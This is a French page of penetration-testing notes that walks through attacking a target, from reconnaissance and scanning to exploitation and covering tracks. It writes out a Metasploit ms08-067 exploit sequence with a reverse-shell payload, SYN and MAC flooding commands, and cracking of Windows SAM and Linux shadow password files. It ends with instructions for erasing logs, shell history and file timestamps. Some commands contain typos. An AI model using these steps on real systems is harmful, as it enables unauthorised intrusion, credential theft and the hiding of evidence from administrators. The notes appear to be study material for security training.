Table des matières

Comment attaquer une cible ?

Méthode d'analyse

Pour attaquer une cible, il faut d'abord la connaître et cela se réalise en plusieurs étape (et de manière cyclique) :

Reconnaissance

Instervention sur les sites :

mkdir files ./metagoofil.py -d syngress.com -t pdf,doc,xls,pptx -n 20 -o files -f results.html

Intervention sur les DNS : 

  apt-get install fierce

Scan

Cette deuxième phase consiste à associer aux adresses IP des ports et des services.

Ces différents types de scan sont décrit ici : https://www.information-security.fr/les-scans-ports-via-tcp-xmas-null-ack/

Exploitation

Cette troisième phase concerne l'exploitation / le crackage / le force brute d'un accès au départ non autorisé.

hping3 -i ul -S -p 80 192.168.42.1

Pour contrer la commande ci-dessus: il faut ajouter une règle de filtrage spécifique au blocage des paquets SYN.

Exemple d'utilisation : 

search ms08-067
use exploit/windows/smb/ms08_067_netcpi
show payloads
set payload window/vncinject/reverse_tcp
show options
set RHOST 192.168.1.10
set LHOST 192.168.1.50
exploit

Les bind = exploit et connexion vers la cible les reverse = exploit vers la cible et la connexion vers l'attaquant

Pour aller plus loin, il existe meterpreter et Armitage qui est comme metasploit mais en mode graphique. 

  Récupérer les mots de passe windows :

Récup des fichiers SAM et SYSTEM dans /windows/System32/config/ puis : 

samdump2 SYSTEM SAM > mdp.txt
John mdp.txt --format=nt (?)

Redéfinir la config des utilisateurs : 

chntpw -i /Windows/System32/config/SAM

Récupérer les mots de passe Linux : 

unshadow /etc/passwd /etc/shadow > mdp.txt
john mdp.txt

Flood sur un commutateur : 

macof -i eth0 -s IP_source -d IP_destination

Scan de vulnérabilités effectué par nikto : 

mikto -h ip_distante -p 80,443

Maintien de l'accès

Outils :

Supprimer ses traces

Il faut repérer la date d'accès au système, puis éffacer dans les fichiers de logs (/var/logs/wtmp, var/log/auth.log, /var/log/syslog eventuellement ) et logs applicatifs suivant leur configurations. Ce n'est pas simple pour utmp et wtmp, car ils sont dans un format particulier, qui nécessite un programme dédié (clear + utmpdump + …) Supprimer l'historique de l'utilisateur (~/.bash_history si on est en bash et celui de root). Changer les dates de modification et de lecture des fichiers édités pour leur remettre l'ancienne date (touch ­m ­a ­t <date>). Néanmoins, une trace reste visible avec la commande stat Enfin, à la déconnexion, de nouvelles logs seront posés.